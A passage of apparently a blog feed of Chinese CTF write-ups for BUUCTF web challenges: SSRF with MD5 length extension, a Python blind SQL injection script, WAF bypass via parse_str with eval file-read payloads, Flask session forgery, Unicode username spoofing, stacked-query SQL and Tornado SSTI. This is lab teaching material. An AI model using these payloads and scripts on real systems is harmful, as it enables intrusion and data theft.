class="keyword">echo</span> serialize(<span class="variable">$u</span>);</span><br></pre></td></tr></table></figure><p>此处注意,需要使用file://协议</p><p>使用$blog=<a href="http://afd9e3f3-e747-4959-b506-f86d8accc887.node3.buuoj.cn/flag.php">http://afd9e3f3-e747-4959-b506-f86d8accc887.node3.buuoj.cn/flag.php</a> 无法触发ssrf漏洞</p><p><strong>7.触发构造的序列化数据</strong></p><p><img src="5.png" alt="5"></p><p>base64解码即可得到flag</p>]]></content>
<categories>
<category> CTF </category>
</categories>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>9.[De1CTF 2019]SSRF Me</title>
<link href="/2019/07/26/CTF/9.%5BDe1CTF%202019%5DSSRF%20Me/"/>
<url>/2019/07/26/CTF/9.%5BDe1CTF%202019%5DSSRF%20Me/</url>
<content type="html"><![CDATA[<p>题目考察知识点:</p><p>1.pythpn代码审计</p><p>2.local_file:///协议绕过</p><p>3.md5长度扩展攻击</p><p>1.local_file:/// 协议绕过file,urllibe的一个cve:cve2019-9948</p><p>2.重点说一下md5长度扩展攻击</p><p>这里使用hashdump工具:</p><p><img src="1.png" alt="1"></p><p>此处:input singnature:来自于 /geneSign</p><p>获取的md5值</p><p>input data:为盐值</p><p>input key length : 为盐值长度</p><p>input data to add:貌似可以为任意值</p><p>最后需要将:</p><p>生成的payload的\x替换为%</p><p><img src="2.png" alt="2"></p>]]></content>
<categories>
<category> CTF </category>
</categories>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>8.[CISCN2019 华北赛区 Day2 Web1]Hack World</title>
<link href="/2019/07/25/CTF/8.%5BCISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day2%20Web1%5DHack%20World/"/>
<url>/2019/07/25/CTF/8.%5BCISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day2%20Web1%5DHack%20World/</url>
<content type="html"><![CDATA[<p>1.测试过滤字符</p><p>1.1 and,or,union被过滤此时只能考虑盲注</p><p>1.2 空格,/**/,被过滤可以考虑()括号绕过</p><p>\2. 测试当ascii码值大于101时,返回数据不一样</p><p><img src="1.png" alt="1"></p><p><img src="2.png" alt="2"></p><p>此时可以写出盲注脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">'http://fc1b4a8a-ce34-4958-80f7-16870eab28bb.node3.buuoj.cn/index.php'</span></span><br><span class="line">result = <span class="string">''</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">50</span>):</span><br><span class="line"> high = <span class="number">127</span></span><br><span class="line"> low = <span class="number">32</span></span><br><span class="line"> mid = (low + high) // <span class="number">2</span></span><br><span class="line"> <span class="keyword">while</span> high > low:</span><br><span class="line"> payload = <span class="string">"if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)"</span> % (x, mid)</span><br><span class="line"> data = {</span><br><span class="line"> <span class="string">"id"</span>:payload</span><br><span class="line"> }</span><br><span class="line"> response = requests.post(url, data = data)</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'Hello'</span> <span class="keyword">in</span> response.text:</span><br><span class="line"> low = mid + <span class="number">1</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> high = mid</span><br><span class="line"> mid = (low + high) // <span class="number">2</span></span><br><span class="line"></span><br><span class="line"> result += <span class="built_in">chr</span>(<span class="built_in">int</span>(mid))</span><br><span class="line"> <span class="built_in">print</span>(result)</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> CTF </category>
</categories>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>7.[RoarCTF 2019]Easy Calc</title>
<link href="/2019/07/24/CTF/7.%5BRoarCTF%202019%5DEasy%20Calc/"/>
<url>/2019/07/24/CTF/7.%5BRoarCTF%202019%5DEasy%20Calc/</url>
<content type="html"><![CDATA[<p><strong>方法一:http走私</strong></p><p>本题提示有waf,尝试使用http走私绕过</p><p>1.cl-cl</p><p>这里猜测是,cl=0是waf不对请求头进行处理,而后端对请求头进行了处理,造成http走私</p><p><img src="1.png" alt="1"></p><p>2.cl-te</p><p>这里猜测是,waf对第一个参数请求进行了响应并报错,但是并没有终止请求把信息发送到了后端,后端处理了请求,返回了目录信息</p><p><img src="2.png" alt="2"></p><p><strong>方法二:字符串解析漏洞</strong></p><p><strong>该题打开是一个计算器:</strong></p><p><img src="3.png" alt="3"></p><p><strong>1.提示存在一个waf并且,将提交的参数传给calc.php处理</strong></p><p><img src="4.png" alt="4"></p><p><strong>2.访问calc.php得到calc.php的源代码</strong></p><p><img src="5.png" alt="5"></p><p><strong>3.查看源代码需要传入num参数,再由eval函数执行,但是直接传入phpinfo();报错。多次尝试只能传入数字。所以猜测传递的参数被一个waf拦截,而且该waf只能传递数字。现在所需的就是要是绕过waf。</strong></p><p><strong>4.当把参数名num改为nums时:绕过了waf直接访问到了calc.php界面,说明waf只能拦截,num传递来的参数。</strong></p><p><img src="6.png" alt="6"></p><p><strong>5.确定waf只能拦截num参数,此时我们构造的payload只要满足:</strong></p><p>5.1. 参数名不为num</p><p>5.2. 传递到calc.php时,程序会把该参数识别成num</p><p><strong>6.此时字符串解析漏洞可以派上用场</strong></p><p>我们只需构造/?%20num=phpinfo();即可绕过waf</p><p>%20num不被waf识别但是到达calc.php时,空格自动删除,所以传递的参数为num=phpinnfo();</p><p>(get,post,cookie传递的参数大多都使用<strong>parse_str()函数处理)</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//空格被删除</span></span><br><span class="line">parse_str(<span class="string">" foo_bar=asd"</span>,<span class="variable">$o</span>);</span><br><span class="line">print_r(<span class="variable">$o</span>);</span><br><span class="line"></span><br><span class="line">输出:</span><br><span class="line"><span class="keyword">Array</span></span><br><span class="line">(</span><br><span class="line"> [foo_bar] => asd</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p><strong>7.构造的/?%20num=phpinfo();得到phpinfo界面,现在尝试读取目录下的文件构造/?%20num=scandir(‘/‘);但是 / 被过滤,所以构造/?%20num=scandir(char(47));</strong></p><p><img src="7.png" alt="7"></p><p>为了将数组显示出来得用到var_dump();</p><p><strong>8. 然后直接去读f1agg文件得内容</strong></p><p>/?%20num=var_dump(file_get_contents(chr(47).f1agg));</p>]]></content>
<categories>
<category> CTF </category>
</categories>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>6.[HCTF 2018]admin.</title>
<link href="/2019/07/24/CTF/6.%5BHCTF%202018%5Dadmin/6.%5BHCTF%202018%5Dadmin/"/>
<url>/2019/07/24/CTF/6.%5BHCTF%202018%5Dadmin/6.%5BHCTF%202018%5Dadmin/</url>
<content type="html"><![CDATA[<h2 id="方法一:session伪造"><a href="#方法一:session伪造" class="headerlink" title="方法一:session伪造"></a><strong>方法一:session伪造</strong></h2><h2 id="1-信息收集"><a href="#1-信息收集" class="headerlink" title="1.信息收集"></a><strong>1.信息收集</strong></h2><h3 id="1-1-登陆之后-提示:you-are-not-admin,猜测要登陆admin用户才可以获取到flag"><a href="#1-1-登陆之后-提示:you-are-not-admin,猜测要登陆admin用户才可以获取到flag" class="headerlink" title="1.1 登陆之后 提示:you are not admin,猜测要登陆admin用户才可以获取到flag"></a><strong>1.1 登陆之后 提示:you are not admin,猜测要登陆admin用户才可以获取到flag</strong></h3><p><img src="1.1.png" alt="1.1"></p><h3 id="1-2-在密码修改界面,看到一个github连接,访问得到网站源码"><a href="#1-2-在密码修改界面,看到一个github连接,访问得到网站源码" class="headerlink" title="1.2 在密码修改界面,看到一个github连接,访问得到网站源码"></a><strong>1.2 在密码修改界面,看到一个github连接,访问得到网站源码</strong></h3><p><img src="1.2.1.png" alt="1.2.1"></p><h2 id="2-功能分析"><a href="#2-功能分析" class="headerlink" title="2. 功能分析"></a><strong>2. 功能分析</strong></h2><h3 id="2-1-发现是一个flask框架的网站"><a href="#2-1-发现是一个flask框架的网站" class="headerlink" title="2.1 发现是一个flask框架的网站"></a><strong>2.1 发现是一个flask框架的网站</strong></h3><h3 id="2-2-简单分析路由"><a href="#2-2-简单分析路由" class="headerlink" title="2.2 简单分析路由"></a><strong>2.2 简单分析路由</strong></h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/index'</span></span>)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">index</span>():</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/register'</span>, methods = [<span class="string">'GET'</span>, <span class="string">'POST'</span>]</span>)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">register</span>():</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/login'</span>, methods = [<span class="string">'GET'</span>, <span class="string">'POST'</span>]</span>)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">login</span>():</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/logout'</span></span>)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">logout</span>():</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/change'</span>, methods = [<span class="string">'GET'</span>, <span class="string">'POST'</span>]</span>)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">change</span>():</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/edit'</span>, methods = [<span class="string">'GET'</span>, <span class="string">'POST'</span>]</span>)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit</span>():</span></span><br></pre></td></tr></table></figure><p>就只有登陆,注册,更改密码,编辑文件几个功能..</p><h3 id="2-3-flask框架成为admin用户可以参考p牛的文章,尝试session伪造:"><a href="#2-3-flask框架成为admin用户可以参考p牛的文章,尝试session伪造:" class="headerlink" title="2.3 flask框架成为admin用户可以参考p牛的文章,尝试session伪造:"></a><strong>2.3 flask框架成为admin用户可以参考p牛的文章,尝试session伪造:</strong></h3><p><a href="https://www.leavesongs.com/PENETRATION/client-session-security.html">https://www.leavesongs.com/PENETRATION/client-session-security.html</a></p><h2 id="3-伪造admin用户session"><a href="#3-伪造admin用户session" class="headerlink" title="3. 伪造admin用户session"></a><strong>3. 伪造admin用户session</strong></h2><h3 id="3-1-获取客户端session,并解密"><a href="#3-1-获取客户端session,并解密" class="headerlink" title="3.1 获取客户端session,并解密"></a><strong>3.1 获取客户端session,并解密</strong></h3><p><img src="3.1.1.png" alt="3.1.1"></p><h3 id="3-2-python脚本解密:"><a href="#3-2-python脚本解密:" class="headerlink" title="3.2 python脚本解密:"></a><strong>3.2 python脚本解密:</strong></h3><p><img src="3.2.1.png" alt="3.2.1"></p><h3 id="3-3-生成admin用户session"><a href="#3-3-生成admin用户session" class="headerlink" title="3.3 生成admin用户session"></a><strong>3.3 生成admin用户session</strong></h3><p>session伪造脚本:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://github.com/noraj/flask-session-cookie-manager</span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">{'_fresh': True, '_id': b'dda6c5000939129aae46689154dfa8e28a737238009debac91ed14bf0916cd13e38b5e4773d1516434090a22d65ce1da945d1e196ef1da0da6733f931000e67f', 'csrf_</span><br><span class="line">token': b'79a1ababc2f6514d92889109f69301f5d2cb44f6', 'name': 'admin', 'user_id': '10'}</span><br></pre></td></tr></table></figure><p>但是需要SECRET_KEY</p><p>我们发现config.py中存在</p><p><img src="3.3.1.png" alt="3.3.1"></p><p><img src="3.3.2.png" alt="3.3.2"></p><p><strong>方法二:unicode欺骗</strong></p><h2 id="1-查看密码更改处的代码,发现更改密码时,将用户名更改为小写"><a href="#1-查看密码更改处的代码,发现更改密码时,将用户名更改为小写" class="headerlink" title="1.查看密码更改处的代码,发现更改密码时,将用户名更改为小写"></a>1.查看密码更改处的代码,发现更改密码时,将用户名更改为小写</h2><p><img src="2.1.1.png" alt="2.1.1"></p><h3 id="2-可以考虑注册Admin用户,修改密码,此时用户名变为小写则为admin"><a href="#2-可以考虑注册Admin用户,修改密码,此时用户名变为小写则为admin" class="headerlink" title="2.可以考虑注册Admin用户,修改密码,此时用户名变为小写则为admin"></a>2.可以考虑注册Admin用户,修改密码,此时用户名变为小写则为admin</h3><p>但是注册和登陆处也将用户名进行了小写转换,故此方法不行。但是转小写函数一般都用lower,而此处为strlower()。跟进strlower()函数</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">strlower</span>(<span class="params">username</span>):</span></span><br><span class="line"> username = nodeprep.prepare(username)</span><br><span class="line"> <span class="keyword">return</span> username</span><br></pre></td></tr></table></figure><h3 id="3-查看nodeprep库,nodeprep库来自于twisted包"><a href="#3-查看nodeprep库,nodeprep库来自于twisted包" class="headerlink" title="3.查看nodeprep库,nodeprep库来自于twisted包"></a>3.查看nodeprep库,nodeprep库来自于twisted包</h3><p>而在requirement.txt中,Twisted说明了版本号,</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Twisted==10.2.0</span><br></pre></td></tr></table></figure><p>而最新版的Twisted已经到了18</p><p><img src="2.3.1.png" alt="2.3.1"></p><p>很有可能就是低版本这里有问题</p><h3 id="4-根据低版本的Twisted搜索可以搜索到nodeprep-prepare对编码的处理方法过程"><a href="#4-根据低版本的Twisted搜索可以搜索到nodeprep-prepare对编码的处理方法过程" class="headerlink" title="4.根据低版本的Twisted搜索可以搜索到nodeprep.prepare对编码的处理方法过程"></a>4.根据低版本的Twisted搜索可以搜索到nodeprep.prepare对编码的处理方法过程</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e</span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ᴬ -> A -> a</span><br></pre></td></tr></table></figure><p><img src="2.4.1.png" alt="2.4.1"></p><p>第一次进入nodeprep.prepare时转换为大写,第二次转换为小写</p><p>于是可以想到攻击链:</p><p>1.注册用户ᴬ dmin</p><p>2.登陆用户ᴬ dmin,此时用户名变成Admin</p><p>3.修改密码Admin,此时用户名变成admin</p><p>访问首页即可得到flag</p>]]></content>
<categories>
<category> CTF </category>
</categories>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>5.[SUCTF 2019]EasySQL</title>
<link href="/2019/07/24/CTF/5.%5BSUCTF%202019%5DEasySQL/5.%5BSUCTF%202019%5DEasySQL/"/>
<url>/2019/07/24/CTF/5.%5BSUCTF%202019%5DEasySQL/5.%5BSUCTF%202019%5DEasySQL/</url>
<content type="html"><![CDATA[<p>该题暴露了源码:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"> session_start();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">include_once</span> <span class="string">"config.php"</span>;</span><br><span class="line"></span><br><span class="line"> <span class="variable">$post</span> = <span class="keyword">array</span>();</span><br><span class="line"> <span class="variable">$get</span> = <span class="keyword">array</span>();</span><br><span class="line"> <span class="keyword">global</span> <span class="variable">$MysqlLink</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">//GetPara();</span></span><br><span class="line"> <span class="variable">$MysqlLink</span> = mysqli_connect(<span class="string">"localhost"</span>,<span class="variable">$datauser</span>,<span class="variable">$datapass</span>);</span><br><span class="line"> <span class="keyword">if</span>(!<span class="variable">$MysqlLink</span>){</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"Mysql Connect Error!"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$selectDB</span> = mysqli_select_db(<span class="variable">$MysqlLink</span>,<span class="variable">$dataName</span>);</span><br><span class="line"> <span class="keyword">if</span>(!<span class="variable">$selectDB</span>){</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"Choose Database Error!"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable">$_POST</span> <span class="keyword">as</span> <span class="variable">$k</span>=><span class="variable">$v</span>){</span><br><span class="line"> <span class="keyword">if</span>(!<span class="keyword">empty</span>(<span class="variable">$v</span>)&&is_string(<span class="variable">$v</span>)){</span><br><span class="line"> <span class="variable">$post</span>[<span class="variable">$k</span>] = trim(addslashes(<span class="variable">$v</span>));</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable">$_GET</span> <span class="keyword">as</span> <span class="variable">$k</span>=><span class="variable">$v</span>){</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//die();</span></span><br><span class="line"> <span class="meta">?></span></span><br><span class="line"></span><br><span class="line"><html></span><br><span class="line"><head></span><br><span class="line"></head></span><br><span class="line"></span><br><span class="line"><body></span><br><span class="line"></span><br><span class="line"><a> Give me your flag, I will tell you <span class="keyword">if</span> the flag is right. </a></span><br><span class="line"><form action=<span class="string">""</span> method=<span class="string">"post"</span>></span><br><span class="line"><input type=<span class="string">"text"</span> name=<span class="string">"query"</span>></span><br><span class="line"><input type=<span class="string">"submit"</span>></span><br><span class="line"></form></span><br><span class="line"></body></span><br><span class="line"></html></span><br><span class="line"></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$post</span>[<span class="string">'query'</span>])){</span><br><span class="line"> <span class="variable">$BlackList</span> = <span class="string">"prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\""</span>;</span><br><span class="line"> <span class="comment">//var_dump(preg_match("/{$BlackList}/is",$post['query']));</span></span><br><span class="line"> <span class="keyword">if</span>(preg_match(<span class="string">"/<span class="subst">{$BlackList}</span>/is"</span>,<span class="variable">$post</span>[<span class="string">'query'</span>])){</span><br><span class="line"> <span class="comment">//echo $post['query'];</span></span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"Nonono."</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span>(strlen(<span class="variable">$post</span>[<span class="string">'query'</span>])><span class="number">40</span>){</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"Too long."</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$sql</span> = <span class="string">"select "</span>.<span class="variable">$post</span>[<span class="string">'query'</span>].<span class="string">"||flag from Flag"</span>;</span><br><span class="line"> mysqli_multi_query(<span class="variable">$MysqlLink</span>,<span class="variable">$sql</span>);</span><br><span class="line"> <span class="keyword">do</span>{</span><br><span class="line"> <span class="keyword">if</span>(<span class="variable">$res</span> = mysqli_store_result(<span class="variable">$MysqlLink</span>)){</span><br><span class="line"> <span class="keyword">while</span>(<span class="variable">$row</span> = mysqli_fetch_row(<span class="variable">$res</span>)){</span><br><span class="line"> print_r(<span class="variable">$row</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }<span class="keyword">while</span>(@mysqli_next_result(<span class="variable">$MysqlLink</span>));</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">?></span></span><br></pre></td></tr></table></figure><p>查询语句:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$<span class="keyword">sql</span> <span class="operator">=</span> "select ".$post[<span class="string">'query'</span>]."||flag from Flag";</span><br></pre></td></tr></table></figure><p>Oracle 在缺省情况下支持使用 “ || “连接字符串 ,</p><p> 但是在MySQL中缺省不支持 ,MySQL 缺省使用 CONCAT 系列函数来连接字符串 .</p><p>可以通过修改 sql_mode 模式 : PIPES_AS_CONCAT 来实现将 “ || “视为 字符串连接符 而非 或 运算符 .</p><p>因此这里预期的 Payload 是通过修改 sql_mode 来拿到 Flag ,如下:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>;<span class="keyword">set</span> sql_mode<span class="operator">=</span>PIPES_AS_CONCAT;<span class="keyword">SELECT</span> <span class="number">1</span></span><br></pre></td></tr></table></figure><p>拼接之后变成:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> <span class="number">1</span>;<span class="keyword">set</span> sqlmode<span class="operator">=</span>PIPES_AS_CONCAT;<span class="keyword">SELECT</span> <span class="number">1</span> <span class="operator">||</span> flag <span class="keyword">from</span> Flag</span><br></pre></td></tr></table></figure><p>sql_mode原理:</p><p><a href="https://blog.csdn.net/lixora/article/details/60572357">https://blog.csdn.net/lixora/article/details/60572357</a></p>]]></content>
<categories>
<category> CTF </category>
</categories>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>3.easy_tornado</title>
<link href="/2019/07/24/CTF/3.easy_tornado/3.easy_tornado/"/>
<url>/2019/07/24/CTF/3.easy_tornado/3.easy_tornado/</url>
<content type="html"><![CDATA[<h2 id="1-打开网页发现三个文件:"><a href="#1-打开网页发现三个文件:" class="headerlink" title="1.打开网页发现三个文件:"></a>1.打开网页发现三个文件:</h2><p><img src="1.1.png" alt="1.1"></p><h2 id="2-依次打开:"><a href="#2-依次打开:" class="headerlink" title="2. 依次打开:"></a>2. 依次打开:</h2><h3 id="2-1-flag-txt"><a href="#2-1-flag-txt" class="headerlink" title="2.1 flag.txt"></a>2.1 flag.txt</h3><p><img src="2.1.1.png" alt="2.1.1"></p><h3 id="2-2-welcome-txt"><a href="#2-2-welcome-txt" class="headerlink" title="2.2 welcome.txt"></a>2.2 welcome.txt</h3><p><img src="2.2.1.png" alt="2.2.1"></p><h3 id="2-3-hints-txt"><a href="#2-3-hints-txt" class="headerlink" title="2.3 hints.txt"></a>2.3 hints.txt</h3><p><img src="2.3.1.png" alt="2.3.1"></p><p>根据hints.txt可以发现每个文件打开都需要md5(cookie_secret+md5(filename))</p><p>而此时cookie_secrect不知道,http请求包中也没有。所以现在的首要思路就是找到cookie_secrect</p><h3 id="2-4查看大佬们的wp"><a href="#2-4查看大佬们的wp" class="headerlink" title="2.4查看大佬们的wp"></a>2.4查看大佬们的wp</h3><p>welcome提示了render,render是python的一个模板,所以考虑是否存在模板注入。</p><p>关于模板注入的文章。</p><p><a href="https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/">https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/</a></p><h3 id="2-5-判断是否存在注入"><a href="#2-5-判断是否存在注入" class="headerlink" title="2.5 判断是否存在注入"></a>2.5 判断是否存在注入</h3><p>error?msg=</p><p><img src="2.5.1.png" alt="2.5.1"></p><p>1^0为0说明执行了表达式。存在注入</p><h3 id="2-6-cookie-secret存在于handler-settings中,直接payload"><a href="#2-6-cookie-secret存在于handler-settings中,直接payload" class="headerlink" title="2.6 cookie_secret存在于handler.settings中,直接payload:"></a>2.6 cookie_secret存在于handler.settings中,直接payload:</h3><p>error?msg=</p><p><img src="2.6.1.png" alt="2.6.1"></p><p>得到cookie_secret。</p><h3 id="2-7-根据hint提示:filehash-md5-cookie-secret-md5-filename"><a href="#2-7-根据hint提示:filehash-md5-cookie-secret-md5-filename" class="headerlink" title="2.7 根据hint提示:filehash=md5(cookie_secret+md5(filename))"></a>2.7 根据hint提示:filehash=md5(cookie_secret+md5(filename))</h3><p>所以payload:</p><p>file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag)) (此处需要算出md5值)</p>]]></content>
<categories>
<category> CTF </category>
</categories>
<tags>
<tag> CTF </tag>